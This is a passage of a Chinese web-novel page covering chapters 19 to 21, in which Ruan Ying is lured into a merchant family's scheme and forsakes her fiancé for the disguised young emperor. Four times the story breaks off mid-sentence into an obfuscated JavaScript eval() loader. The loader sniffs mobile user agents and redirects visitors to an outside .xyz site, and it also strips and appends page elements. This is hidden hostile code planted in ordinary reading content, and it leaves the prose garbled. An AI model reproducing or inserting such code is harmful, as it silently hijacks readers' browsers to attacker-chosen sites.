裴时瑾若有所思,锦阳城离这里的确有些远。他笑道:“你若是舍不得我,那我同你一道去拜访姑姑,正好也见见长辈。” 阮莹当他在开玩笑,连连摇头:“不行的,我已经很耽误你的时间了,你若是跟着我同去,路上又要浪费两个月的时间。眼下都已经八月了,距离春闱可没几个月了,你还是安心在家里读书吧。” 裴时瑾看她一本正经担心的小模样,轻笑了声,没再坚持。 “那我等你回来。” 阮莹轻嗯了声,这些日子,她跟着裴时瑾学着认了很多字,也会写很多字,她笑眼弯弯:“子玉哥哥,到时候我会给你写信的,你要给我回信。” 裴时瑾点头,又问她什么时候出发,让长明替她打点好。 阮莹说:“明日就出发,毕竟姑姑生了病,不敢耽误时间。” 裴时瑾颔首,让长明替她租好马车,准备好路上的盘缠,又给了她好些银两。 阮莹看着他俊俏的面容,扑进他怀里,“怎么办,子玉哥哥,我还没走,就已经舍不得你了。” 裴时瑾拥住她:“没事的,阿莹,很快就回来了。等你从那儿回来,咱们也差不多可以收拾东西回京城了。” 阮莹一听这话,眼睛就亮了起来:“真的吗,子玉哥哥?” 裴时瑾嗯了声。 阮莹:“那我们很快就可以成亲了……”她说完,又红了脸,垂下脑袋,低头不语。 裴时瑾看着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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车夫笑说:“难怪,我看着那公子很是喜欢姑娘,两位郎才女貌,很是登对呢。” 阮莹想到裴时瑾,莞尔一笑。 她这一路走了三十余日,终于到了锦阳城。 阮莹还是头一次出这么远的远门,听见车夫说锦阳城到了的时候,打起帘子张望。 她看见巍峨气派的城门矗立在不远处,车水马龙,很是热闹,她不由得怔住了。 金水镇是云阳城下的一个小镇,云阳城也只不过是一个小城,比不得眼前的锦阳城。锦阳城都如此热闹繁华,那京城该是什么样子?阮莹心里不禁想。 她和车夫进了城后,没敢耽误太久,径直去寻她姑母信中所写的地址,杨府。 在城中打听过才知晓,原来她姑母给的地址,竟然是锦阳城的富商杨家的府邸。 阮莹看着面前富丽堂皇的府邸,一时间又是一怔。 她姑母竟嫁得这么好的人家么? 这泼天的富贵,若是她能得,那该多好? 19.第 19 章 阮莹收回思绪,向守门的小厮说明了来意:“这位大哥,请问这里可有一位姓阮的夫人?我是阮夫人娘家的侄女,单名一个莹字,烦请大哥帮忙通报一声。” 那守门的小厮将阮莹上下打量一番,眼神有些狐疑不定,他们杨府的确有位姓阮的夫人,但这位阮夫人原不是夫人,不过是老爷的一个小妾,后来正头夫人过世,老爷将她扶正,这才做了夫人。 可这阮夫人多年来与娘家没什么往来,平白冒出一个娘家侄女,实在可疑。不过眼前这姑娘生得美艳动人,小厮虽有几分狐疑,还是应下道:“那你且等着,我进去通传一声。” 阮莹连声道谢,退至一边等候小厮消息。 不多时,小厮回来,还带来一位嬷嬷。 那嬷嬷打眼一看阮莹,面上带着和善的笑容:“这位便是阮姑娘吧?老奴是夫人身边的,夫人听说您来了,特意差老奴来接您进府呢。” 阮莹同样也不动声色打量着她,只见她衣着富贵,心下想道,这杨家连个下人都如此气派,看来的确是富贵人家。 不知怎么,阮莹想到了裴时瑾。他也是富贵人家的公子,不知那裴家是不是也和杨家一般? 她回神,福了福身:“多谢嬷嬷。” 齐嬷嬷伸手拉住阮莹,领着她往府里走,一路上与她寒暄不断,问了好些话。 “姑娘生得可真是漂亮极了,和夫人年轻的时候也有点像。” 阮莹被她夸,笑了一笑,问道:“嬷嬷,姑母她身子可好?病没有大碍了吧?” 齐嬷嬷愣了愣,笑说:“姑娘是个有孝心的,夫人前头是病了一场,如今已经好了。” 齐嬷嬷又道:“姑娘这一路上舟车劳顿,累坏了吧?怎么只有姑娘一个人来?阮大爷没来?” 阮莹听她提及阮九,一时赧然,她总不能直说阮九不愿意来,只好编了个借口说:“我爹他腿脚不好,不便出远门,接到姑母的信,便叫我来看望姑母。” 齐嬷嬷闻言,也没怀疑,只说:“噢,那阮大爷身体还好吧?” 阮莹点头:“好的。” 齐嬷嬷:“那就好。姑娘这一路上都还好吧?” 阮莹:“这一路上都挺好的。” 两个人说着话,穿过游廊,又拐过好些亭台,穿过垂花门,终于到了阮柳的院子。 齐嬷嬷领着阮莹进门,笑着对里头打了声招呼:“夫人,阮姑娘到了。” 阮柳从珠帘后出来,眸光定在阮莹身上,将她上下打量一番,笑说:“多年不见,阿莹都出落成大美人了。” 阮莹垂首笑了笑,向阮柳行过礼:“见过姑母。” 阮柳拉住她的手在榻上坐下,态度热络:“唉,今儿见到你啊,更是让我感慨万千。当年我出嫁的时候,你还只是小娃娃,一晃眼这么多年过去了。你爹他身子还好么?” 阮莹答:“劳烦姑母记挂,他一切都好。” 阮柳道:“那就好,他这次没跟你一道来?是不是还记着当年的事?不愿意原谅我?” 阮莹赶紧摇头:“没有的事,我爹他这些年腿脚不怎么好,不方便出门。他心里是念着姑母的,一听姑母写信来,可高兴坏了,又听姑母信中说病了,急得不行,让我赶紧过来看望姑母。姑母的病可大好了?” 阮柳道:“好了,只是大夫说了,还得静养着。” 阮柳又拉着阮莹说了会儿话,身子有些不济,便让下人带阮莹去休息。 “既然来了,你便安心在府里住些日子,陪陪我。” 阮莹道了谢,和下人出去了。 待人走完了,阮柳与齐嬷嬷对视一眼。 齐嬷嬷说:“长得是个漂亮的,不错。依奴婢看,能笼络住老爷的心。看着也算乖巧听话,应当好拿捏。” 阮柳轻叹了声,捏了捏眉心。 她此番给娘家写信,哪里是为了叙旧亲情,只是忽然记起娘家有个侄女,说不定能为自己所用。 当年阮柳与阮九感情也就那样,自从阮莹她娘走后,阮九性情更是坏起来,为了点钱把阮柳嫁给了一个五十多岁的商人做续弦。阮柳不肯,却也没法子,她远嫁千里,没过上几天好日子,那商人就得病死了,商人的儿女便把阮柳赶了出去。 那时候阮柳身上没有钱,什么都没有,为了生计又被人牙子骗,差点被卖进青楼。是她自己聪明,抓住了机遇,攀上了如今的杨老爷。杨老爷见她有几分姿色,就买了她做小妾。后来她得宠,慢慢熬死了家里的夫人,又哄杨老爷给她扶正,才有今天的好日子过。 可这好日子也不稳定,外头人看着她是杨府的夫人,可因着她的出身,多少人都看不起她。从前她还有杨老爷的宠爱,这几年年老色衰,色衰而爱驰,杨老爷对她的态度也冷落起来。 她没有出身,便只能往孩子上想办法。可她早些年堕了胎伤了身子,连孩子也难有。 齐嬷嬷给她出主意,说是让她找个信得过的小丫头,生个孩子她抱来养着。她也没法子了,只能应了,便想到了娘家有个侄女。她虽不知道阮莹如今的样貌,但阮莹的亲娘长相不俗,想必她女儿也不会差到哪里去,便写了这封信。 如今正合她意,阮莹长得漂亮极了,这等姿色,杨老爷肯定喜欢。 阮柳与齐嬷嬷又计划起来,如何让阮莹去杨老爷跟前露个脸。那杨老爷爱美色,见了阮莹自然会喜欢的,到时候她们想办法让生米煮成熟饭,再哄骗阮莹留下来,替她生个孩子。她的地位就能稳固了。 阮莹对这些还全然不知,她被丫鬟领着进了一处小院子,丫鬟道:“夫人说,姑娘这些日子便住在这里,由奴婢伺候,若是姑娘有什么要求,可以同奴婢说。” 阮莹笑了笑,让她先下去了。 丫鬟走后,阮莹忍不住在房中踱步,这简直就是她梦寐以求的生活。这大宅院,还有丫鬟伺候,阮莹心里高兴极了,她推开窗户望出去,哪怕只是一间小院子,都比阮家大。 阮莹被这富贵迷了眼,好一会儿才缓过神来。 她在书桌前坐下,问丫鬟要来笔墨,提笔给裴时瑾写信。这一路上她也常给裴时瑾写信,信里无非是说说她自己的情况,再说如何想他。 “子玉哥哥,我已经到了锦阳城,见到了我姑母。她的病已经好了,留我住些日子,想必过些日子就能回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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先前姑母问起她可成婚了,她只说没有,也没有说出自己与裴时瑾定下终身的事。 这会儿听姑母这么说,阮莹心里更是忐忑。 倘若她有杨府做靠山,姑母为她挑夫婿,应当能在锦阳城中挑一个更好的吧……或许比那裴子玉更好…… 阮莹被自己的念头惊了惊,她在想什么呢,纵然如此,可杨府不过是商贾人家,再富贵也与官宦世家差了许多,若裴子玉能高中,那她可是官太太…… 可即便裴子玉高中,兴许她也只能做个七品芝麻官的官太太,不知道要熬多少年才能当成大官的太太。而锦阳城未必就没有官宦人家能与她结亲…… 阮莹心突突跳着,又有几分懊恼她已经不是处子之身。 当日,她也没想到自己还有今日的机缘。 阮莹脑海中闪过裴时瑾的脸,可裴时瑾她也的确喜欢的,他生得英俊非凡,是个好人,又待她一心一意。 罢了罢了,她还是别想这些有的没的了。 20.第 20 章 阮莹笑了笑,答姑母的话:“姑母待阿莹自然是极好的,只是婚姻一事,大抵需要些机缘,也急不来。” 她将这话题岔过去。 阮柳替她扶正鬓边的红玛瑙簪子,笑说:“是,急不来。好了,姑母有些乏了,你先退下吧。过会儿你姑父回来,齐嬷嬷会去寻你,带你去向你姑父请安。” 阮柳已经与齐嬷嬷计划好一切,今夜便会将阮莹送给杨老爷。这几日阮柳与阮莹相处下来,发觉阮莹对这些金银富贵颇为喜爱,这是好事,到时可以更好拿捏住小丫头。 阮柳唇边挂上一抹笑,目送阮莹出去了。 - 裴越离开皇宫已经有段时日,这些日子他一路瞒着行踪游山玩水,一路到了锦阳城。想来母后在宫里已经急疯了,正让人四下找寻他的行踪。 裴越脑海中浮现出周太后着急忙慌的样子,不由有些心虚,母后自幼疼爱自己,这裴越当然也知晓,他也不忍心让母后为自己担心。只是他实在不喜欢被母后逼着处理政务,他已经很努力在学了,可母后总是不满意。 不管那些了,此番他既然离了皇宫,山高水远,总要玩得尽兴才好。 裴越收起思绪,与杨明奇专心逛玩。 杨明奇是他到了锦阳城后认识的一位友人,热情好客,带着他在锦阳城中玩了两日,今日又热情相邀他去自家府邸做客。 裴越道:“会不会太过叨扰?” 杨明奇摆摆手:“诶,怎么会呢,我与周兄一见如故,不会叨扰。周兄可千万别推辞,我已经禀明家父,今夜在家中设下宴席,招待周兄。周兄就随我去吧。” 裴越听他这么说,也不再推辞,欣然应允。 是日,杨明奇带着裴越来到杨家。 杨家的确已经摆好宴席,杨明奇吩咐下人,务必好生招待这位周越公子。 杨昌宗还有些狐疑,压低声音问儿子:“你确定,他当真是少帝?” 杨明奇拍胸口打包票:“爹,我那天晚上与他喝酒,听他说漏了嘴,他还把他的令牌给我看了,的确是皇宫中的东西。何况他的年岁与少帝也对得上,他又称自己姓周,叫周越,当今太后不就姓周么?你听儿子的,咱们款待好他,和他打好关系,让他同意咱们家可以做盐的生意,那咱们家以后不就更发达了?” 听见杨明奇这么说,杨昌宗有些动摇。 昭国如今盐业向部分商人放开,只要有朝廷颁发的盐引,民间商人也可以做上盐商的生意,只是条件苛刻,即便是富贵如杨家,也一直得不到许可。如今有这样一个机会,倒也可以试上一试。 父子二人对视一眼,达成了共识。 那厢裴越还在庭中等着,他兀自逛了逛,一时竟迷了路,也不知走到何处。 裴越轻嘶一声,正欲向人问路,“这位姑娘,敢问……” 裴越话音一顿,被眼前女子的容貌惊了惊。 天仙下凡…… 他脑中只有这四个字。 裴越痴痴看着面前的女子,连话语都忘了。 阮莹对他的反应并不陌生,从前常有男子这般痴痴地看她,她不准痕迹地弯了弯唇,心中想道,如今她换了装扮,定然更美若天仙了。 “公子,你说什么?”阮莹掩嘴轻咳嗽一声。 裴越终于思绪回笼,语无伦次道:“我……我说,姑娘生得真好看。” 他目不转睛盯着阮莹,一双眼睛只恨不得长到阮莹身上似的。 阮莹身边的丫鬟没见过他,只知道夫人吩咐过的事,小声提醒阮莹:“姑娘,咱们该回去了。” 阮莹点点头,没再多停留,福了福身,从裴越身边经过,临走前又回头看了眼他,冲他笑了笑。 裴越目光痴痴地追随着阮莹的背影,直到她的身影消失在视野里,才恍然回神。 这位姑娘当真漂亮,也不知是杨兄的什么人? 看她打扮,不像已婚妇人,应当不是杨兄的夫人吧?看年纪,与杨兄相仿,莫非是杨兄的妹妹? 裴越心中荡起一番激浪,只恨不得立刻向那杨明奇问个明白。 杨明奇回来,见他一时没了踪影,还找了好一会儿:“抱歉,周兄,让你久等了。” 杨明奇看见裴越还在发呆,抬手在他面前晃了晃:“周兄?” 裴越回过神来,拉住杨明奇激动道:“杨兄,敢问你可有一位如花似玉的妹妹?” 杨明奇的确有几位妹妹,但要么已经出嫁,要么年岁尚小,都不似裴越说的。他摇摇头,问起方才发生了什么事。 裴越便说了刚才的事,杨明奇听罢,有些疑惑,在府里对不上这号人,但听裴越的意思,他似乎很喜欢那位美人。杨明奇心下一动,当即让人去安排些美人过来。 裴越没打听出来人,再问也觉得失礼,只好先将此事按下,随杨明奇去赴宴。 杨昌宗已经在宴席上等着,待见到裴越,不动声色打量一番,认出裴越身上穿戴的确像皇宫专有的物什,心下对儿子说的话更信了几分。杨昌宗含笑迎上来:“这位小兄弟便是周公子吧,听明奇说,他新交了位朋友,气宇不凡,果真如此。” 杨昌宗是生意人,这些奉承逢迎的话语比杨明奇更拿手,将裴越夸得心花怒放,一时飘然忘乎所以。裴越跟着他们一道落座,又被哄着喝了几杯酒。 这厢推杯换盏之际,那厢齐嬷嬷已经带了阮莹过来请安。 齐嬷嬷笑说:“姑娘不要紧张,就上去给我们老爷敬杯酒,请个安就是。我们老爷是个好相与的人,不会为难姑娘的。” 阮莹颔首,莲步轻移捧着酒壶杯盏进了房间,她垂着脑袋,行至几人身前。 “阿莹给姑父请安。”阮莹学着齐嬷嬷教的,给杨昌宗见礼。 杨昌宗也陪着喝了几杯酒,听见阮莹这话,一时愣了愣。他是听说府里近来来了一位阮氏的侄女,但还没见过。 “哦,是你。” 杨昌宗好美色,这会儿见到阮莹,眼前一亮。 杨明奇将杨昌宗的反应看在眼里,脸色垮了垮,他是原配所出,与阮柳这个继母并不对付,一看到阮莹出现,就猜到了阮柳的目的,恐怕是拿自己的侄女儿来笼络他爹。杨明奇正欲叫阮莹下去,却见阮莹莞尔一笑,转过头,又和裴越对上视线。 裴越惊得打翻了手边的杯盏,拉住阮莹手腕:“是你?!” 杨明奇脑袋转了转,当即有了主意,若是他这好继母送来的人被少帝看上,岂不正是两全其美。 杨明奇开了口:“原来周兄下午时念念不忘的姑娘竟是表妹。” 裴越意识到自己的失态, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623240|171351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松开阮莹的手腕,但眼睛还定在她身上:“原来是杨兄的表妹啊,不知姑娘芳名?” 阮莹如实回答:“我叫阮莹。” 裴越夸道:“好名字。” 裴越如此,杨昌宗如何看不明白,他心下有些失望,但很快也和杨明奇一般想法,看向阮莹道:“既然来了,也坐下来一道吃些菜吧。” 阮莹咬了咬唇,可姑母只说让她请个安就走…… “那便多谢姑父与表哥了。”阮莹想了想,还是坐了下来。 她看得出来姑父与表哥正在宴请客人,这位客人似乎颇为喜欢她,他们让她留下,估计也是想讨客人欢心。 阮莹在裴越身边坐下,只低着头安静着。 裴越目光始终落在她身上,不时与她说话:“阮姑娘今年年方几何?” “十九了。” “阮姑娘竟比我大两岁。” …… 不觉宴席到了尾声,裴越依依不舍地看着阮莹,与她道别。 杨明奇与杨昌宗对视一眼,心里都有了主意。 次日,杨昌宗便来找阮柳,说起阮莹的事。 “你那位娘家侄女,可许了人家?” “没有。”阮柳听他这么问,心道自己的计划成功了,岂料到下一句却听杨昌宗道,“我的意思是,想把她送给一位贵人。” 阮柳一怔:“什么贵人?” 杨昌宗道:“那你就别管了,总之是贵人,对咱们家的生意有助益的贵人。” 阮柳没想到事情会如此发展,一时沉默。这与她原本的计划不同,不过若是阮莹能为杨家生意出力,对她也有好处。只是……阮柳还在心里权衡,又听杨昌宗说:“此事就这么定了,日后她跟着贵人离开锦阳,咱们杨家便是她的娘家。” 杨昌宗打的主意,若是阮莹跟着少帝进了宫,得了宠,日后能说上不少话,对杨家的前程那是大有助益。 他看向阮柳:“这件事你做得不错。” 阮柳张了张嘴,终究只是笑了笑:“能为老爷分忧,是妾身的荣幸。” 送走杨昌宗后,阮柳赶紧去让齐嬷嬷打听昨晚到底发生了什么事,才得知阮莹昨晚竟是被他们宴请的那位贵人看上了。至于那贵人的身份,齐嬷嬷神神秘秘道:“似乎……是京城里的人。” 杨昌宗平时不让阮柳插手生意上的事,阮柳也不清楚那些,但听齐嬷嬷这么说,明白此事恐怕已经成了定局,杨昌宗要拿阮莹做人情,为杨家的生意添柴加火。阮柳虽然有些不满,但也只能应下。 “罢了,日后这丫头若是真能帮上杨家,也能让我倚靠些。” 之后几日,杨明奇都叫了阮莹来作陪,与裴越一同游玩。裴越对阮莹的喜爱始终不减,杨明奇看在眼里,私下见了阮莹。 “这位周公子身份不低,我知道你出身低微,即便是说亲,也没什么好人家吧。既然你到了咱们杨家,也算得上缘分一场,你姑母是我们杨家的夫人,咱们到底也算一家人。只要你肯跟了那周越,我们杨家可以许诺一千两白银。你看这条件如何?” 阮莹听罢杨明奇的话,心扑通直跳。 杨家愿意给她这么多钱,可见这位贵人的确身份不低,她心中有些动摇。但转瞬便想到了裴子玉,她已经与裴子玉许下婚约,海誓山盟…… 21.第 21 章 裴子玉的身影在她心头萦绕着,挥之不去,他如何待她好,如何与她亲密无间……那些记忆如潮水般涌来,织成一张网,将阮莹的心缚住。 她一时答不出话。 杨明奇也没有一定要她今日便做出答复,只道:“我可以给你一天时间考虑,你考虑好了,再来找我。” 杨明奇起身离开前,又说:“今日我与周公子一同游湖,你也同去。” 杨明奇说完这些后就走了,留下阮莹一个人怔愣在原地。 阮莹在椅子上坐下,心中难以平静。 按说她应当立刻拒绝杨明奇的要求,毕竟她已经应了裴子玉的婚约,与裴子玉的婚约还是她自己求来的,他已经比阮莹从前见过的那些男人都要好,长相英俊,气质不凡,品行出众,出手阔绰,待她也好,几乎没有缺点。 可是杨明奇说的话又让阮莹很是心动,这些日子她与周越相处下来,看得出来周越是娇生惯养长大的,他吃穿用度都要最好,对阮莹出手也很大方。若是阮莹跟了他,日后应当也不会过得太差。而且杨家人说,那位周公子是京城里的贵人,身份不凡,杨家人如此费心招待,想必那周越定是官宦权贵之流,而裴子玉似乎只是富贵人家的公子…… 阮莹紧紧咬住下唇,心中拿不定主意。 - “阿莹?”阮莹回过神来,对上裴越的视线。 她扯了扯嘴角:“周公子,怎么了?” 裴越:“没事儿,我看你脸色有些不好,是不是昨晚没休息好?” 阮莹:“昨夜做了个噩梦,没有休息好。周公子不用担心我。” 裴越点点头:“既然你不舒服,那咱们坐下来休息会儿吧。” 阮莹点头,跟着裴越进到六角凉亭里坐下。 杨明奇知情识趣没跟过来,隔了些距离自己赏湖去了,凉亭中只有阮莹与裴越两个人在。 阮莹有些心不在焉,心中还在权衡裴子玉与周越的选择。 裴越却忽地握住了她的手,阮莹一怔,微微抬眸看裴越。 裴越被她一看,红了脸,嗫嚅道:“阿莹,这些日子你我相处,想必你对我的心意也有所了解了。我……对你一见倾心,是真心倾慕你,不知你怎么想?” 裴越长到十七岁,第一次对一个女子动心,这心动来得突然,好似夏日里的骤雨,将他的心都淋得湿透,毫无躲避的余地。他不过是个少年人,哪里压得住感情,索性一股脑吐露出来。 裴越缓缓说起他当日见到阮莹时的心情,说到他夜里为她辗转反侧,“阿莹,你愿意跟我回京城吗?我会对你很好的。” 阮莹听着他的话语,对这样一个少年人的热烈喜欢她自然感到欢喜,若是她能更早一些遇到周越,而不是裴子玉的话,今日她便不需要犹豫了。可她已经先遇上了裴子玉,与裴子玉许了终身…… 阮莹思忖着开口:“婚姻大事,还是需要长辈同意,我暂时不能答复你,待我与姑母商议过,再答复周公子。” 她微微垂着头,露出白皙的脖颈,娇娇柔柔的姑娘,惹人无限怜惜。 裴越道:“我知道,是我太过唐突了。只是我过些日子就得回京城了,我怕我再不说,就没机会与阿莹你表明心意了。” 裴越懊恼地叹了声,前两日母后的人找到了他,言母后很是生气,要他尽快回京,他恐怕在锦阳城不能多留了。因此他有些急切地向阮莹表明自己的心意,他想让阮莹跟他一起回京,他要娶阮莹为妻。 阮莹有些意外:“周公子马上就要回京城了么?不再多留几日么?” 裴越急道:“我也想多留几日,可母后她……”他又重重一声叹息。 阮莹听见他话语里的用词,不由得大吃一惊,母后…… 她虽没见过世面,却也知道这世上能用“母后”这等词之人的身份。 “周公子……你……”阮莹睁大双眼,不可置信地看着裴越。 裴越轻舒一口气,与阮莹坦白了自己的身份:“阿莹,我不想瞒你我的身份,其实我便是当今皇帝。我知道这对你来说可能一时难以接受,但是你放心,我对你的心意不会因为身份的改变就发生变化,我就是喜欢你。我第一次这么喜欢一个人,我要封你做皇后,虽然母后那关……但是你相信我,我一定会封你做皇后的。” 裴越激动地握住阮莹的手,殷切地看着她眼眸。 阮莹眸色震颤,的确被这件事震惊到,他竟然是皇帝…… 难怪杨家人对他毕恭毕敬,说他是京城来的贵人…… 阮莹垂下眸子,落在被裴越握住的手上,原来上天竟这般眷顾她,赐予她这样的富贵…… 皇后,她被这两个字砸得头晕目眩,喜不自胜。她从来没想过,自己有朝一日竟然可以做皇后,哪怕是做梦,她也只敢做王妃的梦,可今天竟然要成真了…… 阮莹在狂喜里又想到裴子玉,裴子玉很好,可是…… 可裴子玉能否高中还未可知,万一他考不中呢?万一他过个十几年才考中呢?到时候自己还要等十几年才能做官太太?可是如果她选皇上,她马上就是皇后了。 一人之下万人之上的皇后啊,那是怎样的泼天富贵。 阮莹几乎要晕过去了。 就算她做不成皇后,至少也能做个贵妃吧,那仍旧是何等的富贵。 阮莹心中的天平无限向裴越靠近,或者说,向唾手可得的富贵靠近。 至于裴子玉,虽说她辜负了他,可她也真心实意地陪了他许久,不是么?她把自己干净的身子给了他,又与他有过那么多甜蜜的日子,裴子玉也不会亏什么吧? 这世道,一向只有女子吃亏的道理。 这话听来十足负心,可那些话本戏文里有那么多的负心汉,世上更有那么多负心薄幸的男人,她不过是做了与他们一样的事,也算不上十恶不赦吧? 阮莹在心里为自己开脱,她咬了咬唇,心里做了决定。 她抛弃了裴子玉,选择了裴越。 从外面回来之后,阮莹便已经做了决定。她问丫鬟要了笔墨,想给裴子玉去信一封,与他断绝往日的情分,从此便做陌路人。可她提起笔,又觉得下不了笔。 她知道自己在做什么事,这算不得什么光彩的事,她要做得这么决绝么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629998|171351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 阮莹又将信纸撕了,扔进废纸篓里,终究什么也没写。她不再给裴子玉写信,离开了金水镇后也不会再回去了,从此之后,金水镇就会像没有阮莹这个人一般,她会去到京城,进皇宫,成为皇后,与从前的一切都隔断联系。 金水镇山高水远,没有人会认出在皇宫里的她。至于裴子玉,他发觉自己没了联系,应当也会明白她的意思吧? 阮莹慢慢趴在桌上,将脑袋埋进自己的臂弯里,一方面为今日的笑意而狂喜难耐,一方面又为自己抛弃裴子玉而难过。她忍不住低声啜泣,眼泪越来越止不住,最后痛痛快快哭了一场。 哭完之后,阮莹的情绪得到了宣泄,她的心情平复许多。她坐起身,感觉有些饿了,正欲让丫鬟送吃食进来,忽地感觉一阵干呕。 阮莹弯着腰呕了一番,呕不出什么东西,她给自己倒了杯茶,压了压嗓子眼的不舒服。 她还当自己是今日在外面中了暑气,并未多想,待丫鬟送了吃食进来,阮莹才猛地记起来,自己的癸水这个月竟然没有来。 她只觉得后背一阵发凉,原先她便想过这件事,倘若她有孕的话…… 那时只觉得无所谓,左右她要与裴子玉成婚。可如今一切都不同了,她不再嫁给裴子玉了,她需要干干净净地嫁给裴越。若是裴越知道她已经不是处子之身,只怕不会那么喜欢她,她也做不成皇后了,那不行! 阮莹在脑袋里飞速地思考着应对的策略,她必须骗过裴越。 阮莹咬了咬牙,去见了一趟杨明奇,告知杨明奇她的答案。 “我愿意接受表哥的建议,跟裴越。” 杨明奇对她的回答并不意外,他笑了笑:“你是个懂事的,知道怎么选。日后你的娘家,就是咱们杨家。” 阮莹扯了扯嘴角,又说:“表哥,那周公子说他过两日就要回京城了,未免夜长梦多,不若表哥今夜便安排将我献给那周公子吧。” 杨明奇没想到裴越这么快就要离开,又看了眼自荐枕席的阮莹,有些轻蔑地一笑:“你确实懂事。” 阮莹知道他的意思,只低着头微笑。 杨明奇道:“你放心,我知道了,今夜我会安排。” 这日夜里,杨明奇为裴越安排了一场践行宴,阮莹自然来作陪。她与裴越说,自己已经与姑母商议过了,姑母同意了让她嫁给裴越。 裴越听她这话,一时欣喜不已:“阿莹,那真是太好了。” 阮莹垂下眸子,一副含羞带怯的模样。 杨明奇顺势劝酒:“这可是天大的喜事,周兄与表妹郎才女貌,令人艳羡。” 裴越心里高兴,听杨明奇这么说,不由得喝了几杯。杨明奇又顺势点破了裴越的身份,提起盐引之事,裴越一口应下。 杨明奇闻言更是惊喜,赶忙拿出准备好的东西,哄着裴越盖上自己的印鉴。 裴越道:“杨兄放心,待朕回到京城,定然马上下旨……” 杨明奇:“自然,草民多谢皇上恩典。” 酒过三巡,裴越已经有些醉了,杨明奇给阮莹使了个眼色,阮莹便扶着裴越进房中休息。